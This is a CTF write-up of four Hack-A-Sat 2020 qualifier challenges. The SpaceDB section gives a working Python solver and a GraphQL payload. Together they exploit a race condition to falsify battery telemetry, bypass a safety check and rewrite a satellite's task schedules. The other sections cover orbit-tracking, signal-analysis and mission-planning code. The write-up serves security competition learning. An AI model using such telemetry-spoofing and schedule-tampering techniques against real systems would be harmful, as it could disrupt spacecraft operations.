Hack-A-Sat Qualifiers 2020
SpaceDB
The last over-the-space update seems to have broken the housekeeping on our satellite. Our satellite's battery is low and is running out of battery fast. We have a short flyover window to transmit a patch or it'll be lost forever. The battery level is critical enough that even the task scheduling server has shutdown. Thankfully can be fixed without without any exploit knowledge by using the built in APIs provied by kubOS. Hopefully we can save this one!
Upon connecting to the challenge, we see this:
### Welcome to kubOS ###
Initializing System ...
** Welcome to spaceDB **
-------------------------
req_flag_base warn: System is critical. Flag not printed.
critical-tel-check info: Detected new telemetry values.
critical-tel-check info: Checking recently inserted telemetry values.
critical-tel-check info: Checking gps subsystem
critical-tel-check info: gps subsystem: OK
critical-tel-check info: reaction_wheel telemetry check.
critical-tel-check info: reaction_wheel subsystem: OK.
critical-tel-check info: eps telemetry check.
critical-tel-check warn: VIDIODE battery voltage too low.
critical-tel-check warn: Solar panel voltage low
critical-tel-check warn: System CRITICAL.
critical-tel-check info: Position: GROUNDPOINT
critical-tel-check warn: Debug telemetry database running at: 3.19.61.44:32697/tel/graphiql
Visiting the "Debug telemetry database" linked above brings up a nice web interface for GraphQL. We could query for various telemetry entries:
However, the most we could do is to inject new telemetry entries, nothing interesting there.
update_tel info: Updating reaction_wheel telemetry.
update_tel info: Updating gps telemetry.
update_tel info: Updating eps telemetry.
critical-tel-check info: Detected new telemetry values.
critical-tel-check info: Checking recently inserted telemetry values.
critical-tel-check info: Checking gps subsystem
critical-tel-check info: gps subsystem: OK
critical-tel-check info: reaction_wheel telemetry check.
critical-tel-check info: reaction_wheel subsystem: OK.
critical-tel-check info: eps telemetry check.
critical-tel-check warn: VIDIODE battery voltage too low.
critical-tel-check warn: Solar panel voltage low
critical-tel-check warn: System CRITICAL.
critical-tel-check info: Position: GROUNDPOINT
critical-tel-check warn: Debug telemetry database running at: 3.19.61.44:32697/tel/graphiql
Going back to the console, we noticed an noticeable delay between the update_tel
and critical-tel-check
messages being printed.
We identified a race condition here: We can delete and recreate the telemetry entry for VIDIODE
after it was written by update_tel
, but before critical-tel-check
checks it.
Once done, we see the following:
critical-tel-check info: Detected new telemetry values.
critical-tel-check info: Checking recently inserted telemetry values.
critical-tel-check info: Checking gps subsystem
critical-tel-check info: gps subsystem: OK
critical-tel-check info: reaction_wheel telemetry check.
critical-tel-check info: reaction_wheel subsystem: OK.
critical-tel-check info: eps telemetry check.
critical-tel-check warn: Solar panel voltage low
critical-tel-check info: eps subsystem: OK
critical-tel-check info: Position: GROUNDPOINT
critical-tel-check warn: System: OK. Resuming normal operations.
critical-tel-check info: Scheduler service comms started successfully at: 3.19.61.44:32697/sch/graphiql
Upon loading the "Scheduler service", we get access to a very similar looking GraphQL interface, except that this time, we can modify the various schedules.
Its useful to note at this point that the GraphQL instances running were talking to KubOS.
We dumped existing schedules:
{
"data": {
"availableModes": [
{
"name": "low_power",
"schedule": [
{
"tasks": [
{
"app": {
"name": "low_power"
},
"description": "Charge battery until ready for transmission.",
"delay": "5s",
"period": null,
"time": null
},
{
"app": {
"name": "activate_transmission_mode"
},
"description": "Switch into transmission mode.",
"delay": null,
"period": null,
"time": "2020-05-23 13:52:32"
}
],
"path": "/challenge/target/release/schedules/low_power/nominal-op.json",
"filename": "nominal-op"
}
]
},
{
"name": "safe",
"schedule": []
},
{
"name": "station-keeping",
"schedule": [
{
"tasks": [
{
"app": {
"name": "update_tel"
},
"description": "Update system telemetry",
"delay": "35s",
"period": "1m",
"time": null
},
{
"app": {
"name": "critical_tel_check"
},
"description": "Trigger safemode on critical telemetry values",
"delay": "5s",
"period": "5s",
"time": null
},
{
"app": {
"name": "request_flag_telemetry"
},
"description": "Prints flag to log",
"delay": "0s",
"period": null,
"time": null
}
],
"path": "/challenge/target/release/schedules/station-keeping/nominal-op.json",
"filename": "nominal-op"
}
]
},
{
"name": "transmission",
"schedule": [
{
"tasks": [
{
"app": {
"name": "groundpoint"
},
"description": "Orient antenna to ground.",
"delay": null,
"period": null,
"time": "2020-05-23 13:52:42"
},
{
"app": {
"name": "enable_downlink"
},
"description": "Power-up downlink antenna.",
"delay": null,
"period": null,
"time": "2020-05-23 13:53:02"
},
{
"app": {
"name": "disable_downlink"
},
"description": "Power-down downlink antenna.",
"delay": null,
"period": null,
"time": "2020-05-23 13:53:07"
},
{
"app": {
"name": "sunpoint"
},
"description": "Orient solar panels at sun.",
"delay": null,
"period": null,
"time": "2020-05-23 13:53:12"
}
],
"path": "/challenge/target/release/schedules/transmission/nominal-op.json",
"filename": "nominal-op"
}
]
}
]
}
}
Four modes were available:
low_power
: Go into low power mode, thentransmission
safe
: Safe mode, disablescritical_tel_check
which stops the scheduler GraphiQL from being closedstation-keeping
: Default mode, checks telemetry and thresholdstransmission
: Transmits data back to the ground station
After a couple hours of trial and error, we did the following:
- Create and run new mode with
sunpoint
as a task - Recreate schedule for
transmission
to callrequest_flag_telemetry
afterenable_downlink
- Activate
low_power
This results in the following:
sunpoint info: Adjusting to sunpoint...
sunpoint info: [2020-05-23 14:01:14] Sunpoint panels: SUCCESS
Low_power mode enabled.
Timetraveling.
Transmission mode enabled.
Pointing to ground.
Transmitting...
----- Downlinking -----
Recieved flag.
flag{echo88366victor:GGsK_w-0Nzhe7qnctS_ZPryUg_Zi9HGDiRj9cE1htbJEc5zyhi8y0Q6sOIUUXlHp55y99WPK5_Kk1qjzuETKRW8}
Downlink disabled.
Adjusting to sunpoint...
Sunpoint: TRUE
Goodbye
Solver
#!/usr/bin/python3
# ran with `python <script.py> <ip and port of instance>`
# reads telemetry values until new entry created, then deletes and recreates
# VIDIODE entry with voltage = 8
import requests
from json import loads
import sys
host = sys.argv[1]
def q(query, t="tel"):
try:
endpoint = f"http://{host}/graphql"
r = requests.post(endpoint, json={"query":query}, headers={
"Content-Type": "application/json",
'Accept': 'application/json',
'Origin': f'http://{host}',
'Referer': f'http://{host}/{t}/graphiql'
})
except KeyboardInterrupt:
sys.exit()
except:
return True, {}
return False, loads(r.text)
getLatest = '''
{
telemetry(limit:1, parameter: "VIDIODE"){
timestamp
subsystem
parameter
value
}
}
'''
_, data = q(getLatest)
print(data)
start_time = data["data"]["telemetry"][0]["timestamp"]
print(start_time)
time = start_time
c = 0
while time == start_time:
err, data = q(getLatest)
if err:
continue
print(c, data)
# data is false if db is locked
if not data["data"]:
break
time = data["data"]["telemetry"][0]["timestamp"]
c += 1
# at this point, time is a timestamp for a new telemetry entry
deleteLatest = f'''
mutation {{
delete(timestampGe: {time}, parameter:"VIDIODE") {{
success
}}
}}
'''
print(q(deleteLatest))
createFake = f'''
mutation {{
insert(timestamp: {time}, subsystem:"eps", parameter:"VIDIODE", value:"8") {{
success
errors
}}
}}
'''
print(q(createFake))
safe = '''
mutation {
safeMode {
success
errors
}
}'''
while True:
err, data = q(safe, t="sch")
if not err:
break
GraphQL Payload
mutation charge{
createMode(name:"win") {
success
errors
}
i1: importRawTaskList(
name: "nominal-op",
mode: "win",
json: "{ \"tasks\": [ {\"description\": \"asdf\", \"delay\": \"0s\", \"app\": {\"name\": \"sunpoint\"}} ] }"
) {
success
errors
}
removeTaskList(name:"nominal-op", mode:"transmission") {
success
}
importRawTaskList(
name: "nominal-op",
mode: "transmission",
json: "{\"tasks\": [ { \"app\": { \"name\": \"groundpoint\" }, \"description\": \"Orient antenna to ground.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:20\" }, { \"app\": { \"name\": \"enable_downlink\" }, \"description\": \"Power-up downlink antenna.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:40\" }, { \"app\": { \"name\": \"request_flag_telemetry\" }, \"description\": \"Power-down downlink antenna.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:43\" }, { \"app\": { \"name\": \"disable_downlink\" }, \"description\": \"Power-down downlink antenna.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:45\" }, { \"app\": { \"name\": \"sunpoint\" }, \"description\": \"Orient solar panels at sun.\", \"delay\": null, \"period\": null, \"time\": \"2020-05-23 14:48:50\" } ]}"
) {
success
errors
}
a1: activateMode(name:"win"){
success
errors
}
}
mutation run {
activateMode(name:"low_power"){
success
errors
}
}
Track-a-Sat
We have obtained access to the control system for a groundstation's satellite antenna. The azimuth and elevation motors are controlled by PWM signals from the controller. Given a satellite and the groundstation's location and time, we need to control the antenna to track the satellite. The motors accept duty cycles between 2457 and 7372, from 0 to 180 degrees.
Some example control input logs were found on the system. They may be helpful to you to try to reproduce before you take control of the antenna. They seem to be in the format you need to provide. We also obtained a copy of the TLEs in use at this groundstation.
Relatively straightforward, grab a library, define the ground station, map calculated azimuth and altitude into the given PWM range.
Solver
#!/usr/bin/python3
from skyfield.api import load, Topos
from datetime import datetime
from datetime import timedelta
from datetime import timezone
import numpy as np
PWM_MIN = 2457
PWM_MAX = 7372
def deg_to_pwm(deg):
return np.interp(deg, (0, 180), (PWM_MIN, PWM_MAX))
planets = load('de421.bsp')
satellites = load.tle_file("sats.txt")
sats = { sat.name: sat for sat in satellites }
data = {
"lat": "37.0389",
"lon": "22.1142",
"sat": "GLOBALSTAR M065",
"start_time": "1586322984.332632"
}
gs = Topos(f'{data["lat"]} N', f'{data["lon"]} E')
if data["sat"] not in sats:
raise Exception(f'Unknown satellite {data["sat"]}')
basetime = datetime.utcfromtimestamp(float(data["start_time"])).replace(tzinfo=timezone.utc)
times = [basetime + timedelta(seconds=i) for i in range(720)]
ts = load.timescale()
sat = sats[data["sat"]]
for dt in times:
t = ts.utc(dt)
topocentric = (sat - gs).at(t)
alt, az, distance = topocentric.altaz()
alt = alt.degrees
az = az.degrees
if az > 180:
az -= 180
alt = 180 - alt
az_pwm = int(deg_to_pwm(az))
alt_pwm = int(deg_to_pwm(alt))
print(f'{dt.timestamp()}, {az_pwm}, {alt_pwm}')
I See What You Did There
We lost our direct access to control the Track-a-Sat groundstation antenna (see earlier challenge), but we have a new source of information on the groundstation. From outside the compound, we have gathered 3 signal recordings of radio emissions from the cables controlling the antenna motors. We believe the azimuth and elevation motors of each antenna are controlled the same way as the earlier groundstation we compromised, using a PWM signal that varies between 5% and 35% duty cycle to move one axis from 0 degrees to 180 degrees. We need to use these 3 recordings to determine where each antenna was pointing, and what satellite it was tracking during the recording period.
To help you in your calculations, we have provided some example RF captures from a different groundstation with a similar antenna system, where we know what satellites were being tracked. You will want to use that known reference to tune your analysis before moving on to the unknown signals. The example files are in a packed binary format. We have provided a script you can use to translate it to a (large) CSV if you like. The observations are sampled at a rate of 102400Hz and there are two channels per sample (one for azimuth, the other for elevation).
This challenge approaches Track-a-Sat from the other angle - given a ground station with an antenna and a recording of radio signals emitted from that station, identify the azimuth and altitude of the antenna and the corresponding satellite the antenna was tracking.
Notebooks for this challenge can be found here.
These 3 signal captures record the RF emitted from the azimuth and elevation PWM control lines for 3 satellite observations.
All were recorded from latitude 32.4907 N, longitude 45.8304 E at 2020-04-07 08:57:43.726371 GMT (1586249863.726371)
signal_1.bin is tracking CANX-7
signal_2.bin is tracking STARLINK-1113
signal_3.bin is tracking SORTIE
The azimuth and elevation motors can move between 0 and 180 degrees with 5% to 35% duty cycles.
SatellitePredict.ipynd
Fast Fourier Transforms were computed on the provided example signals at 1s intervals. Since the example signals also had a known target satellite, the corresponding azimuth and altitude can be computed.
We made a guess and realised that the magnitude of the 50Hz harmonics in the signals were loosely related to the PWM duty cycle.
Harmonic Magnitude | PWM Duty Cycle |
---|---|
145447.218506 | 33.855021 |
145374.282565 | 34.525389 |
148652.064185 | 9.649925 |
148599.100042 | 8.988361 |
148463.865469 | 7.748754 |
148281.809089 | 6.301581 |
148094.986495 | 5.048586 |
Linear Regression was used to predict the PWM values from the challenge data, having been trained on the 720s of sample data.
SatelliteViz.ipynb
Since we know the location of the target antenna and the tracking time, we can iterate over all the satellites and identify which ones were visible. In the interest of development time and there being only a few hundred possible matches, we manually identified valid matches.
Surprisingly, we managed to recover quite a close approximation to the original signal (albeit with some shift that probably makes automated correlation harder).
Mission Planning
The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z).
We need to obtain images of the Iranian space port (35.234722 N 53.920833 E) with our satellite within the next 48 hours.
You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations.
The spacecraft in question is USA 224 in the NORAD database with the following TLE:
1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09
2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04
The TLE and all locations are already known by the simulator, and are provided for your information only.
Requirements
############
You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W).
Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours.
You are submitting a mission plan to a simulator that will ensure the mission plan will not put the spacecraft at risk, and will accomplish the desired objectives.
Mission Plan
############
Enter the mission plan into the interface, where each line corresponds to an entry.
You can copy/paste multiple lines at once into the interface.
The simulation runs once per minute, so all entries must have 00 for the seconds field.
Each line must be a timestamp followed by the mode with the format:
2020-04-22T00:00:00Z sun_point
YYYY-MM-DDThh:mm:00Z next_mode
Listing out the following things:
- Rise and set time of the satellite with respect to the ground station
- Rise and set time of the satellite with respect to the target
- Time at which the satellite can see the sun
plus a bit of trial and error results in a successful plan:
2020-04-22T00:00:00Z sun_point
2020-04-22T09:28:00Z imaging
2020-04-22T09:35:00Z sun_point
2020-04-22T10:47:00Z data_downlink
2020-04-22T10:51:00Z sun_point
2020-04-22T22:22:00Z data_downlink
2020-04-22T22:27:00Z sun_point
2020-04-22T23:58:00Z data_downlink
2020-04-22T23:59:00Z wheel_desaturate
2020-04-23T01:27:00Z sun_point
2020-04-23T07:57:00Z data_downlink
2020-04-23T08:00:00Z sun_point
2020-04-23T09:50:00Z imaging
2020-04-23T09:57:00Z sun_point
2020-04-23T11:10:00Z data_downlink
2020-04-23T11:13:00Z sun_point
2020-04-23T22:44:00Z data_downlink
2020-04-23T22:48:00Z wheel_desaturate
2020-04-23T23:00:00Z sun_point
Script
import ephem
from skyfield.api import load, Topos, EarthSatellite
sat_tle = """USA 224
1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09
2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04""".splitlines()
gs = Topos("64.977488 N", "147.510697 W")
tg = Topos("35.234722 N", "53.920833 E")
ts = load.timescale()
mission_start = ts.utc(2020, 4, 22)
mission_end = ts.utc(2020, 4, 24)
sat = EarthSatellite(sat_tle[1], sat_tle[2], sat_tle[0], ts)
t, events = sat.find_events(tg, mission_start, mission_end, altitude_degrees=10)
for ti, event in zip(t, events):
name = ('rise above 10°', 'culminate', 'set below 10°')[event]
print(ti.utc_jpl(), name)
print()
t, events = sat.find_events(gs, mission_start, mission_end, altitude_degrees=10)
for ti, event in zip(t, events):
name = ('rise above 10°', 'culminate', 'set below 10°')[event]
print(ti.utc_jpl(), name)